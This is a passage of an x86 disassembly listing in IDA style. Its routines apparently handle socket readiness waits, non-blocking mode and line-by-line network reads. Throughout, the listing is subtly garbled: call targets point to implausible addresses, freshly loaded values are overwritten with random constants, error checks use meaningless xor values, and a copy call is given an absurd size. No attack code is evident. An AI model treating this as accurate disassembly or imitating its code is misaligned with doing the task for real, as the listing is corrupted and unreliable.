loc_418D4F: ; CODE XREF: sub_418C80+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_418C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DA0 proc near ; CODE XREF: sub_401A8Cj var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_401884 test al, al jnz short loc_418DBE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_418DBE: ; CODE XREF: sub_418DA0+11j mov al, [esi+80Bh] test al, al jnz short loc_418DD5 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_418DD5: ; CODE XREF: sub_418DA0+26j mov al, [esi+80Ch] test al, al jnz short loc_418E51 call sub_401884 test al, al jz short loc_418E44 mov edi, ds:dword_4B3C5C loc_418DEE: ; CODE XREF: sub_418DA0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi test eax, eax jz short loc_418E3B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_430A68 test eax, eax jnz short loc_418E51 loc_418E3B: ; CODE XREF: sub_418DA0+84j call sub_401884 test al, al jnz short loc_418DEE loc_418E44: ; CODE XREF: sub_418DA0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_418E51: ; CODE XREF: sub_418DA0+3Dj ; sub_418DA0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_418E74 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_418E86 ; --------------------------------------------------------------------------- loc_418E74: ; CODE XREF: sub_418DA0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_418E86: ; CODE XREF: sub_418DA0+D2j mov eax, [esi+806h] push eax call dword ptr ds:73060Ch cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_418EA9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_418EA9: ; CODE XREF: sub_418DA0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_401F69 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_418DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F30 proc near ; CODE XREF: sub_401889j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401A46 retn 0Ch sub_418F30 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_401A46j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_4190C4 mov al, [esi+80Bh] test al, al jz loc_4190C4 mov edi, ds:dword_4B38D0 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41905C mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41905C call sub_401884 test al, al jz loc_41905C loc_418FBB: ; CODE XREF: sub_418F60+F6j mov eax, [esi+806h] mov eax, 879830h mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_4190C4 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call ds:dword_4BCC18 test eax, eax jz short loc_41904F mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_430A68 test eax, eax jnz loc_4190C4 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_430A68 test eax, eax jnz short loc_41905C loc_41904F: ; CODE XREF: sub_418F60+BCj call sub_401884 test al, al jnz loc_418FBB loc_41905C: ; CODE XREF: sub_418F60+39j ; sub_418F60+48j ... call sub_401884 test al, al jz short loc_4190C4 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx call dword ptr ds:25E60Ch mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_419091 mov [ecx], eax loc_419091: ; CODE XREF: sub_418F60+12Dj cmp eax, 0FFFFFFFFh jz short loc_4190A9 test eax, eax jz short loc_4190A9 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_4190A9: ; CODE XREF: sub_418F60+134j ; sub_418F60+138j call dword ptr ds:52F306h pop edi xor eax, 34BCC1h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_4190C4: ; CODE XREF: sub_418F60+13j ; sub_418F60+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_418F60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_419140: ; CODE XREF: _294ADE7B:0040159Bj mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_419191 mov dl, [ecx+80Bh] test dl, dl jz short loc_419191 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call dword ptr ds:5A5E60h mov ecx, [esp+0Ch] test ecx, ecx jz short loc_419172 mov [ecx], eax loc_419172: ; CODE XREF: _294ADE7B:0041916Ej cmp eax, 0FFFFFFFFh jz short loc_419180 test eax, eax jz short loc_419180 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_419180: ; CODE XREF: _294ADE7B:00419175j ; _294ADE7B:00419179j call dword ptr ds:2D2F30h add eax, 2B4BCCh setz al retn 0Ch ; --------------------------------------------------------------------------- loc_419191: ; CODE XREF: _294ADE7B:00419149j ; _294ADE7B:00419153j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4191C0: ; CODE XREF: _294ADE7B:004018D9j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_401884 test al, al jnz short loc_4191DC pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_4191DC: ; CODE XREF: _294ADE7B:004191D2j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_4191F2 loc_4191E8: ; CODE XREF: _294ADE7B:0041922Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_4191F2: ; CODE XREF: _294ADE7B:004191E6j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_419256 mov edi, ebp loc_41920B: ; CODE XREF: _294ADE7B:00419254j cmp edi, ebx jz short loc_419256 cmp [esp+18h], bl jz short loc_419256 call sub_401884 test al, al jz short loc_419256 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401889 test al, al jz short loc_4191E8 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_419241 cmp al, 0Dh jz short loc_419241 cmp al, bl jnz short loc_419249 loc_419241: ; CODE XREF: _294ADE7B:00419237j ; _294ADE7B:0041923Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_419249: ; CODE XREF: _294ADE7B:0041923Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41920B loc_419256: ; CODE XREF: _294ADE7B:00419207j ; _294ADE7B:0041920Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4192A0: ; CODE XREF: _294ADE7B:00401FF5j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_401884 test al, al jnz short loc_4192BC pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_4192BC: ; CODE XREF: _294ADE7B:004192B2j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_4192D2 loc_4192C8: ; CODE XREF: _294ADE7B:0041930Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_4192D2: ; CODE XREF: _294ADE7B:004192C6j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41933D mov edi, ebp loc_4192EB: ; CODE XREF: _294ADE7B:0041933Bj cmp edi, ebx jz short loc_41933D cmp [esp+18h], bl jz short loc_41933D call sub_401884 test al, al jz short loc_41933D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401889 test al, al jz short loc_4192C8 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41931D cmp al, bl jnz short loc_419330 loc_41931D: ; CODE XREF: _294ADE7B:00419317j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41932A mov [esi+ebp-1], bl jmp short loc_41932C ; --------------------------------------------------------------------------- loc_41932A: ; CODE XREF: _294ADE7B:00419322j mov [edi], bl loc_41932C: ; CODE XREF: _294ADE7B:00419328j mov [esp+18h], bl loc_419330: ; CODE XREF: _294ADE7B:0041931Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_4192EB loc_41933D: ; CODE XREF: _294ADE7B:004192E7j ; _294ADE7B:004192EDj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419380: ; CODE XREF: _294ADE7B:0040107Dj push esi mov esi, ecx call sub_401884 test al, al jnz short loc_419392 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_419392: ; CODE XREF: _294ADE7B:0041938Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_4193A3 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_4193A3: ; CODE XREF: _294ADE7B:0041939Bj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax call dword ptr ds:55A5E6h pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193D0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_401884 test al, al jnz short loc_4193E2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_4193E2: ; CODE XREF: sub_4193D0+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_4193F3 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_4193F3: ; CODE XREF: sub_4193D0+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call dword ptr ds:2AD2F3h pop esi retn 8 sub_4193D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419420: ; CODE XREF: _294ADE7B:00401B22j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41945F cmp eax, 0FFFFFFFFh jz short loc_419455 cmp [esi+80Bh], cl jz short loc_419455 mov esi, 0CAAD2Fh pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_419455: ; CODE XREF: _294ADE7B:0041943Ej ; _294ADE7B:00419446j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41945F: ; CODE XREF: _294ADE7B:00419439j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call dword ptr ds:655697h test eax, eax jnz short loc_419495 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_419495: ; CODE XREF: _294ADE7B:00419489j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_430A68 test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4194F0: ; CODE XREF: _294ADE7B:00401654j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41950D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41950D: ; CODE XREF: _294ADE7B:00419501j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call dword ptr ds:32AB4Bh test eax, eax jnz short loc_419549 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_419549: ; CODE XREF: _294ADE7B:0041953Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_430A68 test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_419590: ; CODE XREF: _294ADE7B:0040169Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 1955A5h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call dword ptr ds:4CAAD2h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419600 proc near ; CODE XREF: sub_4017EEj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_419630 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 call dword ptr ds:665569h retn 4 ; --------------------------------------------------------------------------- loc_419630: ; CODE XREF: sub_419600+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call dword ptr ds:732AB4h retn 4 sub_419600 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419680 proc near ; CODE XREF: sub_401163j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401B1D mov dword ptr [esi], offset off_4370A0 mov eax, esi pop esi retn sub_419680 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4196B0 proc near ; CODE XREF: _294ADE7B:0040183Ej ; sub_401D39j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4017B2 test [esp+4+arg_0], 1 jz short loc_4196C8 push esi call sub_430332 add esp, 4 loc_4196C8: ; CODE XREF: sub_4196B0+Dj mov eax, esi pop esi retn 4 sub_4196B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4196E0 proc near ; CODE XREF: sub_4017B2j mov dword ptr [ecx], offset off_4370A0 add ecx, 4 jmp sub_401E6F sub_4196E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419700 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 push esi push edi call sub_401884 test al, al jnz short loc_419712 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_419712: ; CODE XREF: sub_419700+9j mov esi, [esp+8+arg_0] push esi call dword ptr ds:79955Ah cmp eax, 0FFFFFFFFh jnz short loc_419765 push esi call dword ptr ds:7CCAADh mov edi, eax test edi, edi jnz short loc_419737 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_419737: ; CODE XREF: sub_419700+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41974C loc_419741: ; CODE XREF: sub_419700+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_419741 loc_41974C: ; CODE XREF: sub_419700+3Fj call sub_401DB1 dec esi push esi push 0 call sub_402018 mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_419765: ; CODE XREF: sub_419700+20j pop edi pop esi retn 4 sub_419700 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_419790: ; CODE XREF: _294ADE7B:00401F1Ej push 0FFFFFFFFh push 7E6556h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_401884 test al, al jnz short loc_4197CF mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_4017A8 jmp loc_41997B ; --------------------------------------------------------------------------- loc_4197CF: ; CODE XREF: _294ADE7B:004197B8j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_4017A8 mov edx, 0CFF995h lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_401726 test eax, eax push 67FCCAh jnz short loc_41980C mov esi, [esp+58h] mov ecx, esi call sub_4017A8 mov [esp+0Ch], edi jmp loc_41996E ; --------------------------------------------------------------------------- loc_41980C: ; CODE XREF: _294ADE7B:004197F6j lea ecx, [esp+30h] call sub_4012B7 test eax, eax push 73FE65h jnz short loc_419832 mov esi, [esp+58h] mov ecx, esi call sub_4017A8 mov [esp+0Ch], edi jmp loc_41996E ; --------------------------------------------------------------------------- loc_419832: ; CODE XREF: _294ADE7B:0041981Cj lea ecx, [esp+18h] call sub_4017A8 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_401726 push eax call sub_430ADA cmp eax, ebx jz short loc_419876 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_40146F mov [esp+0Ch], edi jmp loc_419960 ; --------------------------------------------------------------------------- loc_419876: ; CODE XREF: _294ADE7B:0041985Bj mov edi, [esp+10h] mov esi, 279FF3h mov ecx, [edi] mov eax, [ecx+4] loc_419884: ; CODE XREF: _294ADE7B:004198A2j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_4198A8 cmp cl, bl jz short loc_4198A4 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_4198A8 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_419884 loc_4198A4: ; CODE XREF: _294ADE7B:0041988Ej xor eax, eax jmp short loc_4198AD ; --------------------------------------------------------------------------- loc_4198A8: ; CODE XREF: _294ADE7B:0041988Aj ; _294ADE7B:00419898j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4198AD: ; CODE XREF: _294ADE7B:004198A6j cmp eax, ebx jz short loc_41991B push ebp loc_4198B2: ; CODE XREF: _294ADE7B:00419905j ; _294ADE7B:00419909j call dword ptr ds:13CFF9h and eax, 0Fh cmp al, 8 jnz short loc_4198C6 cmp word ptr [edi+8], 0Fh jz short loc_41990B loc_4198C6: ; CODE XREF: _294ADE7B:004198BDj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_4198D2 mov edi, ebp loc_4198D2: ; CODE XREF: _294ADE7B:004198CEj mov eax, [edi+4] mov edi, 0A04F3Fh loc_4198DA: ; CODE XREF: _294ADE7B:004198F8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_4198FE cmp cl, bl jz short loc_4198FA mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_4198FE add eax, 2 add esi, 2 cmp cl, bl jnz short loc_4198DA loc_4198FA: ; CODE XREF: _294ADE7B:004198E4j xor eax, eax jmp short loc_419903 ; --------------------------------------------------------------------------- loc_4198FE: ; CODE XREF: _294ADE7B:004198E0j ; _294ADE7B:004198EEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_419903: ; CODE XREF: _294ADE7B:004198FCj cmp eax, ebx jnz short loc_4198B2 mov edi, ebp jmp short loc_4198B2 ; --------------------------------------------------------------------------- loc_41990B: ; CODE XREF: _294ADE7B:004198C4j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_401564 pop ebp jmp short loc_419928 ; --------------------------------------------------------------------------- loc_41991B: ; CODE XREF: _294ADE7B:004198AFj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_401564 loc_419928: ; CODE XREF: _294ADE7B:00419919j push 58279Fh lea ecx, [esp+18h] call sub_4012B7 test eax, eax jnz short loc_419948 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_401564 loc_419948: ; CODE XREF: _294ADE7B:00419938j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_40146F mov dword ptr [esp+0Ch], 1 loc_419960: ; CODE XREF: _294ADE7B:00419871j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_4011F9 loc_41996E: ; CODE XREF: _294ADE7B:00419807j ; _294ADE7B:0041982Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_4011F9 loc_41997B: ; CODE XREF: _294ADE7B:004197CAj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A30: ; CODE XREF: _294ADE7B:00401FAAj push esi mov esi, ecx call sub_401D2F push 0 lea ecx, [esi+15h] call sub_401B1D mov dword ptr [esi], offset off_4370A4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_4013A7j ; _294ADE7B:00401EB5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401AD2 test [esp+4+arg_0], 1 jz short loc_419A88 push esi call sub_430332 add esp, 4 loc_419A88: ; CODE XREF: sub_419A70+Dj mov eax, esi pop esi retn 4 sub_419A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AA0 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 6C13CFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401E6F mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401EC9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_419AA0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B10: ; CODE XREF: _294ADE7B:00401C17j push esi mov esi, ecx call sub_401D2F push 0 lea ecx, [esi+15h] call sub_401B1D mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_4370A4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419B50 proc near ; CODE XREF: sub_4015F0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_419C60 mov ecx, [edi+823h] test ecx, ecx jz loc_419C60 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401433 mov ebp, ds:dword_4B38CC test al, al jnz short loc_419BB3 loc_419B89: ; CODE XREF: sub_419B50+61j mov al, [edi+10h] test al, al jz loc_419C4F mov al, ds:byte_499254 test al, al jz short loc_419BB3 push 3609E7h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401433 test al, al jz short loc_419B89 loc_419BB3: ; CODE XREF: sub_419B50+37j ; sub_419B50+4Bj mov al, [edi+10h] test al, al jz loc_419C4F loc_419BBE: ; CODE XREF: sub_419B50+F9j mov al, ds:byte_499254 test al, al jz loc_419C4F test esi, esi jnz short loc_419BEE push 1B04F3h call sub_43034A add esp, 4 test eax, eax jz short loc_419BEA push esi mov ecx, eax call sub_401B1D jmp short loc_419BEC ; --------------------------------------------------------------------------- loc_419BEA: ; CODE XREF: sub_419B50+8Ej xor eax, eax loc_419BEC: ; CODE XREF: sub_419B50+98j mov esi, eax loc_419BEE: ; CODE XREF: sub_419B50+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401A8C test al, al jnz short loc_419C07 push 0D8279h call ebp jmp short loc_419C44 ; --------------------------------------------------------------------------- loc_419C07: ; CODE XREF: sub_419B50+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4017C6 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_419C44 push esi call dword ptr [edi+823h] add esp, 4 loc_419C44: ; CODE XREF: sub_419B50+B5j ; sub_419B50+E8j mov al, [edi+10h] test al, al jnz loc_419BBE loc_419C4F: ; CODE XREF: sub_419B50+3Ej ; sub_419B50+68j ... mov ecx, ebx call sub_401483 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_419C60: ; CODE XREF: sub_419B50+Bj ; sub_419B50+19j xor eax, eax pop edi add esp, 14h retn sub_419B50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419CC0 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_419CC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CF0: ; CODE XREF: _294ADE7B:00401B0Ej mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_419D65 mov esi, ebp loc_419D0F: ; CODE XREF: _294ADE7B:00419D63j cmp esi, ebx jz short loc_419D65 cmp [esp+18h], bl jz short loc_419D65 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call ds:dword_46C13C cmp eax, ebx jz short loc_419D74 cmp eax, 0FFFFFFFFh jz short loc_419D74 call dword ptr ds:63609Eh xor eax, 18D827h jz short loc_419D6D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_419D50 cmp al, 0Dh jz short loc_419D50 cmp al, bl jnz short loc_419D58 loc_419D50: ; CODE XREF: _294ADE7B:00419D46j ; _294ADE7B:00419D4Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_419D58: ; CODE XREF: _294ADE7B:00419D4Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_419D0F loc_419D65: ; CODE XREF: _294ADE7B:00419D0Bj ; _294ADE7B:00419D11j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_419D6D: ; CODE XREF: _294ADE7B:00419D3Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_419D74: ; CODE XREF: _294ADE7B:00419D2Aj ; _294ADE7B:00419D2Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419DB0 proc near ; CODE XREF: sub_40124Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, 